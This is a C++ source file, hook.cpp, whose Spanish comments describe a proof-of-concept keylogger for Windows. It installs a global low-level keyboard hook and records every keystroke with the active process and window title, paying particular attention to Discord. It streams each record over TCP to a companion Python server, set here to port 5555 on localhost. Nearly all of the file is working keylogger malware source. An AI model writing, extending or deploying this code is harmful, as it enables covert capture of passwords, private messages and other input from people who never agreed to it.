hook.cpp

/*
    Cliente de PoC de keylogger de bajo nivel en Windows.

    Este programa en C++ instala un hook global de teclado usando la API
    SetWindowsHookEx con WH_KEYBOARD_LL, lo que permite interceptar todas las 
    teclas presionadas en el sistema antes de que lleguen a las aplicaciones.
    Además, obtiene información de contexto como el proceso activo y el título 
    de la ventana donde ocurre la entrada.

    Cada pulsación capturada se convierte a UTF-8, se normalizan las teclas
    especiales (ENTER, BACKSPACE, SHIFT, etc.) y se empaqueta junto con la hora
    en el formato:
        <Proceso.exe - Ventana>|<Tecla>|<HH:MM:SS>

    Posteriormente, los datos se envían mediante socket TCP al servidor en Python
    (servidor.py), que los muestra en tiempo real en una interfaz gráfica.
*/

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <psapi.h>
#include <string>
#include <regex>

#pragma comment(lib, "user32.lib")
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "Psapi.lib")
#pragma comment(lib, "Ws2_32.lib")

HHOOK g_hHook = NULL;
SOCKET g_sock = INVALID_SOCKET;

std::string SanitizeTitle(const std::string &raw) {
    std::string clean = raw;
    std::regex re("(Discord)(\\s+-\\s+\\1)+");
    clean = std::regex_replace(clean, re, "Discord");
    if (clean.size() > 200) clean = clean.substr(0, 200) + "...";
    return clean;
}

void GetActiveProcessAndWindow(std::string &procName, std::string &winTitle) {
    HWND hwnd = GetForegroundWindow();
    HWND root = GetAncestor(hwnd, GA_ROOTOWNER);
    if (root) hwnd = root;

    DWORD pid = 0;
    GetWindowThreadProcessId(hwnd, &pid);

    procName = "[unknown]";
    winTitle = "[unknown]";

    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (hProc) {
        HMODULE hMod;
        DWORD cbNeeded;
        if (EnumProcessModules(hProc, &hMod, sizeof(hMod), &cbNeeded)) {
            char szName[MAX_PATH];
            if (GetModuleBaseNameA(hProc, hMod, szName, MAX_PATH)) {
                procName = szName;
            }
        }
        CloseHandle(hProc);
    }

    char title[1024];
    if (GetWindowTextA(hwnd, title, sizeof(title))) {
        winTitle = SanitizeTitle(title);
    }

    if (procName == "Discord.exe" && winTitle == "[unknown]") {
        winTitle = "Discord (grupo/canal activo)";
    }
}

std::string MapSpecialKey(DWORD vkCode) {
    switch (vkCode) {
        case VK_RETURN: return "[ENTER]";
        case VK_BACK: return "[BACKSPACE]";
        case VK_TAB: return "[TAB]";
        case VK_SHIFT: case VK_LSHIFT: case VK_RSHIFT: return "[SHIFT]";
        case VK_CONTROL: case VK_LCONTROL: case VK_RCONTROL: return "[CTRL]";
        case VK_MENU: case VK_LMENU: case VK_RMENU: return "[ALT]";
        case VK_ESCAPE: return "[ESC]";
        case VK_SPACE: return " ";
        default: return "";
    }
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
        KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;

        std::string procName, winTitle;
        GetActiveProcessAndWindow(procName, winTitle);

        BYTE kState[256];
        WCHAR bufW[8];
        GetKeyboardState(kState);
        HKL layout = GetKeyboardLayout(0);

        std::string keyStr;
        int res = ToUnicodeEx(kb->vkCode, kb->scanCode, kState, bufW, 8, 0, layout);

        if (res > 0) {
            char utf8[16];
            int len = WideCharToMultiByte(CP_UTF8, 0, bufW, res, utf8, sizeof(utf8), NULL, NULL);
            if (len > 0) keyStr.assign(utf8, len);
        } else if (res == -1) {
            keyStr.clear();
            ToUnicodeEx(kb->vkCode, kb->scanCode, kState, bufW, 8, 0, layout);
        } else {
            keyStr = MapSpecialKey(kb->vkCode);
            if (keyStr.empty()) {
                UINT mapped = MapVirtualKeyW(kb->vkCode, MAPVK_VK_TO_CHAR);
                if (mapped) {
                    wchar_t wc = (wchar_t)mapped;
                    char utf8[8];
                    int l = WideCharToMultiByte(CP_UTF8, 0, &wc, 1, utf8, sizeof(utf8), NULL, NULL);
                    if (l > 0) keyStr.assign(utf8, l);
                }
                if (keyStr.empty()) {
                    keyStr = ""; 
                }
            }
        }

        SYSTEMTIME st;
        GetLocalTime(&st);

        char packet[4096];
        int len = snprintf(packet, sizeof(packet),
                 "%s - %s|%s|%02d:%02d:%02d\n",
                 procName.c_str(), winTitle.c_str(),
                 keyStr.c_str(),
                 st.wHour, st.wMinute, st.wSecond);

        if (len > 0 && g_sock != INVALID_SOCKET) {
            int toSend = (len > 1024) ? 1024 : len;
            send(g_sock, packet, toSend, 0);
        }
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

int main() {
    WSADATA wsa;
    if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return 1;

    g_sock = socket(AF_INET, SOCK_STREAM, 0);
    if (g_sock == INVALID_SOCKET) return 1;

    sockaddr_in serv{};
    serv.sin_family = AF_INET;
    serv.sin_port = htons(5555);
    inet_pton(AF_INET, "127.0.0.1", &serv.sin_addr);
    if (connect(g_sock, (sockaddr*)&serv, sizeof(serv)) != 0) {
        closesocket(g_sock);
        g_sock = INVALID_SOCKET;
    }

    g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
    if (!g_hHook) return 1;

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(g_hHook);
    if (g_sock != INVALID_SOCKET) {
        closesocket(g_sock);
        WSACleanup();
    }
    return 0;
}